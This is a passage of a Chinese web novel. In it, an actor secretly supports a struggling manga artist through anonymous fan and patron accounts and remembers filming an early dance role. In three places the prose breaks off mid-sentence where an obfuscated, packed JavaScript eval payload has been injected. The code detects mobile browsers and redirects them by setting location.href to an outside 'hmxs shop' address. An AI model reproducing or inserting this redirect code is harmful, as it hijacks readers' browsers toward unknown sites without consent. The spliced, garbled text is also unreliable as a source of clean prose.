叶慕唐掏出一个小风扇，打开对准了旁边的方向。 这个人刚刚在一片兵荒马乱之中救他，展也没怎么逛，合影也没怎么照，弄得满脸的汗水，大颗大颗的水珠坠在鬓边往下滑。 “谢谢。” 江浏拿出之前对方送给他的纸巾，擦了擦汗。 今天的“谢谢”浓度，确实有点高了。 “我是不是……在你眼里形象全无了？”叶慕唐问的时候都不敢抬头。 江浏扭头看向坐在旁边的人，“怎么会，低血糖头晕是正常的生理现象。” 他接着说：“不过，看太太的作品，总会以为太太是不食人间烟火。画的都是那种史诗的、古典的、雅致的、写意或工笔的感觉。现在才有了神仙太太原来真的是人类的实感。” “没有想到本人一点都不严肃，抽象过头了吧？”叶慕唐捂住脸，不敢面对现实。 早知道“平野月”也会逛第二天的展子，他绝对不会整这么离谱的活儿。 “怎么说，意外但也不意外吧。”江浏回忆道，“毕竟有的时候，明明特别严肃或者特别悲伤的情节，太太也会突然搞笑一下，马上就要掉眼泪了又地狱笑话急刹车收住说‘不许哭！’。我还挺喜欢的。” 叶慕唐心里高兴得要命，但还是抬不起头，只做缩头乌龟状，以苍白的语言表达，“谢谢。我会努力画得更好的。” 他的读者好会夸、好会表达，而他自己脱离了键盘就是根愚蠢的木头。 “叮”！ 手机铃声骤然切入，从外界而来，冲开了只属于他们二人的“结界”。 江浏接起电话。 电话那边传来工作人员的声音，“喂，您好，请问是报名了玩家自由舞台的‘平野月’吗？” 他们的距离很近，电话声两个人都能听清。 “嗯，是我。”江浏语气温和。 工作人员说：“你的节目视频审核已经通过了，上场顺序排在第六个，现在需要你来台下候场了。” “好的，我现在就过去，辛苦您。”江浏挂断了电话。 他放下自己装无料的帆布包，起身说：“太太，能麻烦你帮我一个忙吗？” “你说，你说！”叶慕唐上赶着想要答应。 江浏指着对方坐着的行李箱，“我去自由舞台表演的时候，可以帮我看一下包吗？” 也就是漫展了，不然谁会随手把行李都托付给萍水相逢的人呢？ “这有什么啊！交给我你放心，我可跑不了。”叶慕唐没完全缓过来，反应得比平时慢，话说完了才想起来，“你不是要表演的吗？我给你录视频吧！我手可稳了，比云台都稳！” 江浏的眼角带着笑，“好啊。” 那天，叶慕唐其实晕了两次。 第一次是低血糖饿晕的，第二次是被台上的影卫帅晕的。 大屏上播放着角色的剧情动画，舞台上的江浏在音乐中拿着角色的武器现场还原在游戏中的经典武打动作。飘扬的衣角在空翻和跳跃间仿佛拥有了延展飞舞的生命 。 要知道，江影帝的武戏，确实是打遍同时代小生无敌手的。 屏幕内外，现实和游戏的界限已然模糊。 5. 金主 漫展结束后，需要从梦里回归现实的人不只是江浏。 是谁截稿日就在眼前，新内容一笔没动呢？ “原来是我自己啊！”叶慕唐哀嚎。 残酷的Deadline是他无法逃避的现实。 就那么几个读者，要是因为总拖稿请假被取关了他上哪儿哭去？ 身上的疲劳还没完全缓过来，他就得开始疯狂赶稿。终于，连续两个通宵的修罗场之后，夜幕糖太太在凌晨五点五十分发布了最新一集的连载。 在他倒在床上失去意识之前，支付软件提醒他钱包到账五十块钱。 “感谢金主爸爸！”叶慕唐梦呓似的嘟囔一句，彻底昏睡过去。 他隐约记得，这位规律打钱的土豪读者有个很难记忆的ID，叫“B.Aic”。 世界上有一种错位的同频，莫过于熬大夜通宵的人在早上六点钟被起来晨练的人精神饱满地问候“早安，你也刚起来吗”。 【CN平野月】：太太今天起得好早！ 太太睡得好香。 【CN平野月】：[图片]刚刚火速看完新一话，还在回味我们绝世大总攻的绝美战损神颜！ 太太还在做梦。 【CN平野月】：可是太太你为什么要断在这里啊啊啊！好难受，现在就想看下一话啊啊啊啊！ 见发过去的消息好一会儿没回复，蹲了半天的江浏略显失落地将手机放在旁边，决定先开始练早功，边练边等。 最基本的神经滑动术热身，软开训练唤醒身体的各处关节和肌肉。随后是相对剧烈些的空腹有氧，“手眼身法步”戏曲的武生基本功也会在早间的六十分钟内简单顺一遍。 其实今天他练得不算好，主要是心不静，眼神总往手机上瞟。 等身上热得差不多了，也该练气息和台词的基本功了。 江浏打开节拍器，在稳定的“哒哒”声里拿起手机。那些基础的气息训练和绕口令说了十好几年，早就成肌肉记忆了，脑子想着别的事情也能下意识地脱口而出，所以在练的时候还可以稍稍分心摸鱼。 反正没有老师在旁边看着，偷懒刷个手机也不会挨骂。 “学好声韵辨四声，阴阳上去要分明。部位方法须找准，开齐合撮属口型……” 从闻花吸气，到长段绕口令，再到结合戏曲念白的上韵练习收尾。与江浏这边的嘴皮子上的热闹不同，清晨的互联网依然很宁静，二次元私人号关注的那么老些人，都没有任何声音。 “应该是通宵了吧，正睡得迷糊呢。” 没等到夜幕糖太太回复的平野月认命地放下手机，去折腾早饭了。 为了安全，江浏严格区分了两个与二次元有关的账号。 “平野月”主要用于出Cos和扩列，偶尔会发游戏截图和买来的谷子这些生活碎片。而金主号“B.Aic”不露脸、不发任何照片、不分享日常，只发文字评论和打赏。 江浏很喜欢在边边角角搜罗冷门的宝藏作品，遇到作品好但运气差的小作者就会悄悄打赏，等到对方红了、不再需要“雪中送炭”了，他再“事了拂衣去，深藏身与名”。 不得不说，他虽然理财水平一般般，但投资小作者的眼光相当准，基本上看中一个火一个。 只有夜幕糖太太运气比较背，连载三年，至今依然需要他打赏当“低保”。 正常更新、提前更新、加更、番外、神回、神跨页、完结，都会有金额不同的打赏，时不时还能掉落长评。 钱给得确实零零散散、抠抠搜搜。但这也是经过江浏深思熟虑的。 就像很多靠着吐槽自己大城市漂泊生活起家的脱口秀演员，一旦赚到了钱走红，他们的段子就没以前那么好笑了。对于一部分创作者而言，骤然变化的物质生活的确会影响作品的质量。 再加上夜幕糖又是与读者高频次交流的漫画作者，如果因为金钱的权重导致江浏无意间的话语影响了对方本来的创作思路，那他就是在帮倒忙了。 “少食多餐”的打赏既不会给太太造成心理上的负担，也能够长久激励太太产粮，还不算刷数据破坏市场，怎么看都是好处多多。 作者得到了钱，读者得到了好作品，江浏得到了成就感和快乐。 江浏在心中暗暗感叹自己真是个优秀的二次元天使投资人。 在这片领域，他可以做纯粹的消费者，和那些有品位的观众一起，用自己的喜好投票，支持那些优秀的作品使其不会丧失生命力，不被“劣币”驱逐。 虽是沾上了些许金钱的铜臭味，但本质上仍然是纯粹的。 “糖咪，快点火吧！”江浏双手合十，非常虔诚地对着手机许愿。 练完早功、吃完早饭，江浏反而有些困倦和疲劳，他看看时间，简单小睡十几分钟之后便出门去了。 接下来这段时间他没有进组的安排，进入了非常宝贵的休息期，正适合用来专注地捡回自己的各项基本功。 无论是台词还是柔韧度、技巧动作，都是“一天不练自己知道，两天不练老师知道，三天不练观众知道”的东西，需要持之以恒地投入时间和汗水维护。 虽说拍戏的时候顾不上，时间久了总是会遗忘和丢失一些能力，但是人类的身体是有记忆的，比起从无到有过程，曾经拥有过的东西通过突击训练捡起来还是更加容易的。 既是专注于内心和个人能力的休息，也是为下一部戏、下一个角色做好准备。 夜幕糖太太快中午才从床上爬起来回复消息。 此时，江浏已经在京剧院的武生集训班里翻了一上午的跟头，正满头大汗地靠在墙角喘气儿。 【夜幕糖】：我可以说，我其实现在才醒过来吗？ 【CN平野月】：哈哈哈，猜到了！太太中午好~ 【夜幕糖】：午好~ 【夜幕糖】：But，难道重点不是，连自律博主早上六点钟起床的镜头都是摆拍，你竟然真的是六点起来的？ 【CN平野月】：也是最近才开始的，起来健身。 江浏想，跟人说起来“练早功”未免有点奇怪，所以用了相对好理解的“健身”替代，倒也不算是说谎。 【CN平野月】：早上起来就有更新可看，真的太幸福啦！ 【CN平野月】：就是太太每话结束的位置太让人难受，就断在最让人抓心挠肝的位置，看完就不快乐了！好空虚，好想看下一话。 【夜幕糖】：作者不坏，粉丝不爱。 【夜幕糖】：我要不断在这里，下周更新的时候你们早就把我给忘了。 【夜幕糖】：你都不知道欣赏评论区的哀嚎有多快乐[坏笑] 看到这里，江浏轻轻地笑了。 好歹看了那么多年，他不是不知道埋伏笔、留下勾人的尾巴是作者必要的技巧。但他更知道，在这样的身份和情景下，用“迂回”和“示弱”的方式肯定对方创作上的技巧，才会让人更开心。 【CN平野月】：太太竟然是故意的！[震惊] 【CN平野月】：可恶！竟然这样玩弄我们读者的感情！把下一章交出来！立刻、马上交出来！（原地打滚）（阴暗扭曲地爬行） 蒙在鼓里的模样虽有表演成分，但江浏也确实被勾得很想知道后续。 【夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815073|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幕糖】：要剧透吗？ 【CN平野月】：真的可以吗？ 【夜幕糖】：当然，你可以提问，我会选择性地回答。 【夜幕糖】：我可能会说真话，也可能会说假话[坏笑] 【CN平野月】：要么还是算了，这样我会更难受的！[流泪] 江浏以“平野月”的账号跟人聊天的时候，总是会表现出与本人截然不同的热情和亲切。 一方面是因为如今网络世界的语言“通货膨胀”，过分简洁明了的表达方式很容易理解为冷漠、不礼貌、阴阳怪气，对话中要加入更多萌萌表情包、语气词这类可爱的表达才算友善。 另一方面，是与他所钟爱的作品相关的人和事，他都想尽可能地释放善意。 或许在心底，他也并不喜欢自己在现实生活中沉闷无趣的状态。 【CN平野月】：太太你这么坏，一定会有好多读者爱的！ 【夜幕糖】：快别说了，画画三年，归来仍是小垃圾。 【CN平野月】：怎么可能？！太太，你是不是对自己的实力有误解！！！ 【CN平野月】：太太在绘画上明明是有专业优势的！从开始画同人图开始就是怪物新人了好不好！帅炸的角色和超高规格的背景，分镜充满创意，剧情也精彩刺激不落俗套。 【CN平野月】：而且每一对都好嗑、好涩、好喜欢！ 多年来家庭自带的美学熏陶帮助夜幕糖探索了认知和审美的边界。随着技术的成熟，他自然而然地在不断产出越来越好的作品。 哪怕是挑剔、高傲如江浏，也是真心喜欢对方的创作。 【夜幕糖】：可惜，我画的是黑白页漫，如今已经是彩色条漫的天下了。 【夜幕糖】：单是这个形式就足以劝退大部分人。 正如他所说，在看漫画需要到报刊亭买杂志的纸媒时代，彩色的漫画就以更加丰富的色彩冲击成为了国内绝对的主流。 当人们开始用手机看漫画之后，纵向排布的“条漫”更符合下拉滑动的阅读习惯，在很短的时间内以碾压性的优势替代了传统的翻页式排版。 【夜幕糖】：这年头还能看得下去黑白页漫的人，都已经不年轻咯！ 【夜幕糖】：而且这群人基本上都是在海外找粮食，跟国创区的受众其实并不是特别重合。 【夜幕糖】：审美又“老派”还愿意追国内新作品的人太少了。 所以，叶慕唐也很珍惜在看自己漫画的人。 尤其人家还是大帅哥的情况。 【夜幕糖】：再这样无人在意下去，我真得灰溜溜回家任由家长安排了。 家长对叶慕唐的期待建立在他们熟悉的领域之上。二老都殷切地希望他能在“高端上流”的文艺圈混个硕博文凭，再搞个体面的大学教职，卷论文、卷教研慢慢往上升，巩固和继承上一辈的人脉。 可耐不住叶慕唐就想去画“不入流”的漫画，还是“下三滥”的题材。读大三的时候就跟父亲大吵了一架，独自搬出去了。 【CN平野月】：太太不要灰心！一定要相信自己啊！你只是缺一个一鸣惊人的时机，别放弃，只要坚持得够久，曙光一定会来的！ 【夜幕糖】：谢谢宝！你真好[流泪] 戏曲老师的呼唤将沉浸在与太太贴贴中的江浏拽出来。 休息时间到，该回去练功了。 【CN平野月】：我这边继续工作了，太太有空聊！ “诶？怎么走了啊！” 还在激情输入的叶慕唐愣住了。 “不会是……我一上来就抱怨了这么多，叫人嫌弃了吧？” 6. 误解 【夜幕糖】：宝工作加油，回见！ 热闹的聊天框骤然安静下来，叶慕唐难免有些不适应。 创作的过程是总是孤独又痛苦的。 好不容易碰到活的粉丝，还是叫人日思夜想的帅哥，叶慕唐的话匣子打开就收不住了。 可谁能想到“相谈甚欢”没几句，人就没了，叫他把天聊死了。 想想也是，人家是来看漫画的，不是来做访谈的。 粉丝更感兴趣的是有趣的故事和精美的画面，鼓励他、认可他也是为了自己喜欢的作品不会断更。至于作者酸唧唧的抱怨创作环境和成长经历……根本无人在意。 “人家跟你聊天为的是剧透、图透啊，大哥！”叶慕唐懊恼地拍拍自己的脑袋，“多关注作品，少跟人家说自己私生活！” 打小他就只知道傻乐呵，从来没有负面情绪多到自己处理不完，对别人止不住地抱怨过。反常的举动和搞砸的聊天足以证明，自新作品连载以来，他的状态实在是算不上好。 “无论是谁，存款见底还没有稳定收入都会疯的吧！啊啊啊！”叶慕唐抓狂地揉搓自己的头发。 当年离家出走后，夜幕糖太太立下志向：三年时间，他一定要搞出个名堂来，狠狠地打他老爹的脸！ 如今看来，老爹被他老妈拦下的那个巴掌，终究是由残酷的现实代为落在了叶慕唐的身上。真的进了社会才知道，被打脸的反而是过于年轻气盛的自己。 好在他这人最自视甚高、踌躇满志的时候也保留了残存的一丢丢清醒，没有在大学阶段退学，好好地把本科的文凭搞下来了。 “哎呀，实在不行，以后还能做康复教练打工养活自己。”叶慕唐打开了新下载的求职软件，在焦虑的驱使下随手发了几份简历。 反正不到山穷水尽，他是绝对不会低头回家的！ 说实话，这几年叶慕唐一直在超负荷运转。在别人忙着考研、找工作的时候，叶慕唐一边努力达成毕业的学业要求，一边在网络上连载自己的漫画。 如今大学毕业已经到了第二年，眼看着自己的应届生身份都要没了，可漫画事业还是没什么起色。 说他画了这么久完全没读者、无法变现倒也不是，只是挣的那点钱顶多算是零花钱，单靠这些零散小钱养活自己总是入不敷出的。 “啊啊啊，好焦虑啊啊啊！”叶慕唐郁闷地将脑袋埋进桌面。 经过五分钟完全不慎重的思考后，他发了条微博。 【夜幕糖】：家里揭不开锅了，接插画、头像，什么都接！全平台同名。 约稿平台的链接下面是他最受欢迎的插画与同人图汇总的十八宫格。 画漫画自己是甲方，叶慕唐只需要在照顾观众感受的基础上讲自己喜欢的故事就够了。而接稿就是纯纯的乙方了，他其实并不喜欢这种创作的模式，也不太擅长与人打交道。 但眼下的经济状况容不得他再“娇气”。 紧接着，他又发了条仅互关好友可见的内容。 【夜幕糖】：可能……还是我不够好吧。不然怎么没人看我的漫画呢？ “B.Aic”作为一路支持他的金主，互相关注是叶慕唐要给的最基本的尊重，所以江浏几乎是第一时间看到了这条内容。 如此明显的负面信号，自然引起了江浏的注意。 “等等！我拿个充电宝您再下针，手机没电了。” 曾经的伤病让江浏对自己的身体维护很上心，练完功转头就去做了康复按摩、拔罐和针灸，缓解一整日高强度训练给身体带来的损耗。 医护拉上针灸床的帘子，留给趴在床上被扎成刺猬的江浏安静的私人空间。 蓝牙音箱放着舒缓、空灵的颂钵，再加上针灸，疲惫的他本应迷迷糊糊地睡过去，但看到夜幕糖一反常态地开始接稿，竟有些担忧到睡不着了。 “本来周更就已经很累了，在加上接稿，身体肯定是吃不消的……” 他用互关的金主号给叶慕唐私信留言。 【B.Aic】：如果真的很困难，可以跟我说。这是我的联系方式。[图片] 【B.Aic】：相信自己，你会火的。 江浏想，如果夜幕糖真的是因为经济上的困难无法专心连载，他可以直接借用助理的小号打足量的生活费，为对方提供一个安心创作的环境。 他喜欢的那么多写小说的、画漫画的太太里，夜幕糖的风格是独一无二、他格外钟爱的。 “只是，直接打钱他可能不太会接受……” 江浏能从字里行间感受到夜幕糖的自尊心，猜到对方大概率不会接受这样的“资助”。 “有了！”江浏眼前一亮。 【CN平野月】：我下班啦！看到太太开放了接稿，我想帮人约个插画！ 【CN平野月】：随便太太怎么发挥都行！现在还有档期不？ 【夜幕糖】：好哇好哇[爱心]来图，说出你的要求。 果然，比起金主的包养信息，叶慕唐优先回复的是列表里关系平等的读者。 江浏精挑细选，发过去一张自己最满意的公式照。那身衣服带着点传统元素，很适合夜幕糖的水墨画风。 然而，对话框安静了两分钟。 【夜幕糖】：宝，抱歉我不接真人明星的约稿，要不给宝画别的？ 完蛋，踩到人家雷区了。 江浏心里不免一阵紧张。 【CN平野月】：不好意思，太太，我才想起来你发过微博说过不想跟真人沾边的，给太太添麻烦了。 【夜幕糖】：没有的事情，你放心，除了明星我都能画。 【夜幕糖】：对了你说是帮人约……那你应该没有特别喜欢这个明星吧？ 江浏看着对话框的气泡，眼神微动。 【CN平野月】：啊，我都不太关注娱乐圈（juan）的。 为了听到对方真实的评论，江浏选择睁眼说瞎话。 不过，说他混的圈子跟猪圈没什么两样倒是真心的。 【夜幕糖】：那就好，我能大胆开麦了！ 【夜幕糖】：这个人的粉丝是有点喜欢在别家雷区蹦迪的。 【夜幕糖】：我敢说你都不敢信，他家粉丝竟然跑到我一个动漫博主这边，祝愿我的作品惨遭真人化！还在评论区发这个靠麦麸剧飞升的明星照片说适配我家的主角！好晦气！ 江浏没有回复。 他正忙着去找自己的小号删除评论呢！ 【夜幕糖】：我当时发文说隔壁小日子……过得不错的那边，有个真人漫改的运动番舞台剧演得很还原、尊重原著，要是所有真人影视化都照着这个水准来也是可以接受的。 【夜幕糖】：谁知道这家粉丝竟然跑过来安利正主了！你就说是不是很没有边界感？等我！我去翻微博给你截图。 江浏没空等人，他忙着抢在对方前面删评！ 救命！他再也不敢自卖自夸了。 【夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815074|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幕糖】：找不到了，估计是对方粉丝自己删了吧。 【夜幕糖】：这家正主拿过影帝，但真的很水。主演的代表作说不出几个，麦麸倒是很勤快。我没看过《直上青云》电影，都看过粉丝洗脑包。什么少年舞姬为救主角皇帝而死、破碎感清冷少年。 这个确实没的洗，江浏也认的。 那么多靠着耽改剧飞升的男演员用粉丝的真金白银证明，卖腐是真的能火的。早年间公司也确实往这个方向营销过，那些影视混剪视频当然有不少是真的观众自制，不然买来的水军也没办法混入其中。 他年轻的时候没有能力影响公司的安排，人也“听话”，但他确实也因为这样的宣传受益过。 如今，只能说任何事情都是有利有弊的。 【CN平野月】：哈哈哈，你说得对，现在“破碎感”这词用得太多我都不认识了。随便什么人的哭戏都要上热搜营销一下破碎感，刷多了确实惹人烦。 如果没有共同的喜欢，那么树立共同的敌人，也是拉进关系的重要手段。 即便这个“敌人”是公众视野中的自己。 江浏平静地接受了这样的自我攻击。 【夜幕糖】：不过这年头流量都这样，水帝这些不过是基础操作啦，别家的手段也没清高到哪里去。 【夜幕糖】：算啦，不说明星的事情。你想好要约什么了吗？档期我肯定优先给你留着。 【CN平野月】：那就麻烦太太给我画这个好啦[图片] 江浏给的图片是漫展Day2叶慕唐晕倒那天自己出的影卫，有个摄影师非常热心地免费帮他拍了场照，效果还是很不错的。 【夜幕糖】：没问题！宝这套真的超帅哒！喜欢！ 【夜幕糖】：走平台，有保障。亲兄弟，明算账！这样我就不会卷款跑路了。 【CN平野月】：哈哈哈，太太人真的好好，那我就去平台下单啦！[比心] 草药燃尽，定时器“滴滴滴”叫了起来。医护撤走了江浏肩头腰后的针。 平常做完按摩、刮痧、针灸、艾灸的全套护理，他会觉得周身每个毛孔都会有种轻飘飘的舒适感，而今天他依然感到步履沉重。 江浏必须承认，自己是很难过的。 还好只是发文字，如果是面对面，他不敢保证自己能把情绪藏得很好。 人走到了一定的位置是很难听到真话的。江浏深知这一点，他有在努力地兼听则明，接受不同的意见，也会关注影视区博主的吐槽向视频。 他本以为自己的内心足够强大，对于各类评论都能坦然接受。可此刻无法抑制的失落让他发觉，其实他远没有自己想象得那样谦逊和强大，还是会为批评黯然神伤的。 多少是有些好感的人，他怎么可能不期待对方也欣赏和认可他呢？ 回到家，江浏没有吃晚餐，反而将自己关进了隔音、有大镜子的练功房里。 他在音响里放了《直上青云》里舞蹈片段的配乐。 初听时惊艳的曲调在一次又一次的重复训练中，与身体的疼痛紧密结合，越听越是麻木，再听简直要吐出来。然后，他又在无数练习积攒的痛苦里，于某个不经意的时刻迎来了期盼已久的明悟。 老师和导演都说，他“通”了，感觉对了。 直到那时，陈年的乐声忽然从苦中翻出来一丝甜，恍然间又变得悦耳和动听。 明明早就该休息了，可他却又踩着音乐的鼓点，幻想着长绸的重量扬起手臂。 7. 舞姬 《直上青云》是江浏初登大荧幕的开山作，作为配角他竭尽所能呈现了超越导演预期的表演，获得了人生中第一个国际最佳男配角提名。 很多人都质疑他，不过是刚上大学的学生，怎么可能拿到如此好的资源？可人们却忘记了，他凭能力和幸运考上的戏剧学院本身就是难得的人脉和平台。 导演是他们学校的嫡系，上一辈就与学校渊源颇深。有合适的角色，想从在校的学生里挑几个年轻的新面孔，也算是导演在回馈母校的栽培。 少年舞姬的角色就在选修古典舞、形体课程的学生中挑选。 而刚刚进入学校的大一新生，正好是有形体课的。 “江浏这个孩子还是很不错的，今年艺考复试形体考核单项第一，条件好、习惯好、舞感也好、有童子功的。上课也认真，表现算是突出，让他去试试。” 老师是很会看人的。 江浏在小时候学过古典舞，到初中学业压力上来了就停了课。直到高中阶段确定走艺考时，为了考学，才下苦功夫把以前练过的东西捡回来。 “退功”好几年之后想要再“回功”实在是太痛苦了。 江浏赶着艺考的日期确实有些急了，刚捡起舞蹈没多久就逼着自己按照最巅峰时期的软度练习，老师帮他压腿时一个没留神导致了肌肉拉伤，大腿当场青紫一片。 他疼得在地上起不来，可他当时脑子里最响的念头是“完了，肯定是要耽误备考了。” 被送去医院的路上，江浏没忍住，还是掉了眼泪。 不是因为疼，是怕自己练不出来会考不上。 有过这样的经历，他不敢再轻易松懈，哪怕是艺考合格证下来之后也没怎么落下练功。这才让他上大一的时候功还在身上，得到了老师的认可。 那场珍贵的试镜他发挥得很稳定，但其实是落选了的。 他很清晰地记得导演说：“味儿对了，还有舞蹈基础，在年轻演员里面算是很好了。” 但他还是没有被选中。 角色只有一个，但“很好”的年轻演员却有很多很多。 最终，他从剧组宣传的通稿里得知，导演选了一个舞蹈学院出身的明星饰演少年舞姬的角色。 说不失落肯定是骗人的，当时还年轻、单纯、一根筋的江浏看到履历中“舞蹈学院”这几个字便笃定自己一定是输在舞蹈上。 他想，跟学表演的同学比起来，他自然是舞蹈最好的那个，扎实的功底远远地甩其他同学好大一截，时间久了不免会陷入自满当中，看不到外面的世界，忘记了人外有人、天外有天。 当时的江浏心里满是不甘和懊悔，总觉得自己努力的方向对，但努力得不够。 学期结束的寒假他没有回家，而是以“复读生”的身份混进了舞蹈艺考班，跟着要正经考舞蹈学院的艺考生一起集训。 现在看来，当时他真是个傻到透顶的傻孩子。 但那个时候的江浏觉得自己很成熟，是个能为自己规划、有远见的成年人了。他觉得自己已经因为样样通、样样松的功底失掉了一个宝贵的机会，他不允许自己丢第二次。 严冬的早上起来就是撕腿，疼得满脸都是水珠，说不清是汗还是泪。穿着暴汗衣、裹着保鲜膜做体能训练和大跳。眼睛盯着教室的一角留头甩头，多了也会晕着倒在地上。古典舞的剧目扒了一个又一个…… 电影临近杀青时，饰演少年舞姬的演员陷入了丑闻之中。正牌嫂子的PPT传遍全网，其隐婚、骗婚、滥交、吸食违禁品的行为被锤得死死的，一夜之间成了失德艺人被封杀，警方通告都发了。 少年舞姬的戏份眼看着都快拍完了，却不得不换演员。导演气得不行，但也只能重新选人。 其实在这个时期，导演也并没有想起江浏这么个人来，让他印象更深刻的演员多得是，轮不到一个尚且青涩也没什么背景的学生。 只是命运的巧合再度垂青，无常又慈悲，意外地给了偏执的人第二次机会。 导演请来做舞蹈顾问的前歌剧舞剧院首席舞者，就是江浏报名的那家艺考班的老板。 “年纪大的、心就野了。”导演叹着气，“青涩点也能调的，最重要的是干干净净的，别再出什么乱七八糟的新闻就行。要不……我看看你那儿的艺考生里有没有好苗子？” 在艺考班学生的技巧组合训练视频里，导演意外地发现了江浏的脸。 “这孩子怎么这么眼熟？总感觉见过……在哪儿呢？” “他是复读的孩子，说是去年考戏剧学院落榜了，考得好像就是您的母校。” 听到“母校”这两个字，导演终于在回忆中抓住了曾经的影子。 此时的江浏在正经的舞蹈生里虽然不算拔尖，但也已经熬到了中上的水平，进组也不怎么需要舞蹈替身了。 导演惊讶于江浏的进步。 回想起上次面的时候，她就觉得小孩儿的味道是对的，但气质太纯良、太无害了，通身的学生气，没有少年舞姬身上的那股子狠劲儿和疯劲儿。 简言之，江浏看起来太“好”了，不够“坏”。 那样老实的小孩，很难想象他能饰演一个连杀人无数的帝王枭雄都敢刺杀，又在那之后默默心生喜欢、甚至为了成全帝王甘愿赴死的轰轰烈烈的人。 在得知江浏因为试镜的失败跑去冒充艺考生参加集训后，导演也不得不承认自己当初看走了眼。 这股子倔劲儿，太适合了。 江浏重新获得了面见导演的机会，而这次，他已然准备万全。 仅仅在试镜时与导演简单沟通几句，他就明白自己的呈现和导演的要求存在哪些偏差，当下立即调整了表演的状态。 “我们可都是实景拍摄，有些戏可能要去沙漠的，能吃苦吗？”导演问他。 江浏平静地说了“能”。 向学校递交请假条的时候，江浏都有点不太敢相信自己是真的要进组拍戏了。 他以令人惊叹的速度成长着，从刚进组的时候被导演骂得狗血淋头，到快结束时经常无NG一遍过。 那个多年后也依然是代表作的舞段在他的技巧水平之上，需要踮起脚够一够才能碰到，一不小心就会有失误，被留到了最后拍摄。 没他戏的时候，江浏就在镜子前，听着音乐一遍又一遍地练习。 拍摄的场地并不适合跳舞，在专业舞蹈地胶上练惯了的肢体感觉被打乱，沉重的假发、饰品、戏服让他感觉几乎是在跳另一支舞，他不知道自己到底摔了多少次，重跳了多少次。 特写、近景、中景、远景…… 停下来他急急忙忙地擦去汗水补妆，收拾妥当、机位架好马上又要再来一遍。 “腰上丝带打结了，重来！” “刚刚这条脚下好像穿帮了，再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815075|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来！” “这遍可以，再保一条。” 从威亚上下来的时候，江浏是真的站不起来了，他被人抬着送去按摩师那儿脑子还是晕的。 导演皱着眉：“不行，前半段可以，但是后半段还是差点意思。明天再……” “没关系的，导演。”江浏满头的汗，眼角的妆还是花的，“我可以的，我再补个妆就上，不耽误剧组进度……” 那天，他的腰和膝盖都受了伤，下了戏就被送到了医院，连杀青宴都没去成，直到多年以后得现在，碰上阴雨天前后陈年的旧伤还是会痛。 但江浏没什么怨言，他挣的就是这份钱。 新人演员片酬不高，但能够覆盖他参加名师艺考班的学费，还多了一些。或许在外人看来这并不划算，但他更在乎的是自己对不对得起角色。 擅长观察、想象力丰富，都是江浏的优势。 他从剧本细节提取信息，总结了上万字的人物小传，将人物不同时期和心境的剧本覆以不同的颜色和记号批注，反复咀嚼、分析过每一句台词背后的潜台词之后，才怀着忐忑的心走进片场。 不到三十天的拍摄里，他无数次地成为那个少年舞姬，以那个少年的视角沉浸在故事当中。 对于穷困潦倒的人而言，过人的美貌不知是福还是祸。少年想要活下去，想要为了家人苦苦支撑下去，忍辱负重地侍奉在藩王身边，被委以刺杀皇帝的任务，以舞姬的身份成了一件送往都城的贡品。 江浏知道，他说着“狗皇帝拿命来”的时候，想的是自己的母亲和兄弟姐妹。 只要杀了皇帝，家人就不必再担惊受怕、卑贱地活着。只要杀了皇帝，藩王就会赏赐他和他的家人，过上锦衣玉食的生活。 仇恨是被灌输进脑子里的，对世界的认知也是扭曲和单薄的，少年执拗地认为只要皇帝死了，自己的一切痛苦都能被解决。 所以，那份“恨”落在实处，却又是空心的、没根的、摇摇欲坠的。 编剧翻看着江浏写的人物小传，给出了肯定的回答，“对，他的恨是苍白的。他其实并不是真的恨皇帝，是为了有人‘恨’，才能让所有压在心底得情绪有个出口。不然，他活不下去。” 而那高高在上的君王，轻而易举地戳破了少年的幻想，连同自尊也一同踩在地上。他的倔强和不甘随着视线，钉子一样地落在皇帝的眼中。 “他打碎了我，又让我活过来。”江浏按照要求在导演面前以第一人称的“我”来描述角色的心境，“他让我觉得自己卑贱和一文不值，却又把我扶起来。他凌辱我的时刻，也是在拥抱我。” 江浏知道，少年身上明明有那样浓烈的痛苦和憎恨，本源却是以“爱”为底色的渴望。 如果心底没有柔软的爱意和惦记，少年撑不过在残酷的训练。他遍体鳞伤地争抢，只为给家人带回几块胡饼、几匹麻布。 如果不是渴望被真正地看见和尊重，少年不会因君王的话语泪流满面，甘愿为对方驱使，因仰望君王的强大而心生恋慕。 家人已逝，他没什么牵挂了，便用这条命最后为帝王所用。 导演听过后神色无改，只说：“好的，现在把你写的小传、设计的台词通通忘掉、丢到脑后，什么都不要想，去演。” 少年走向终局的时刻，大厦将倾，在燃烧倒塌的木梁之下，他与血红的长绸一起葬在无尽的火海。 8. 道歉 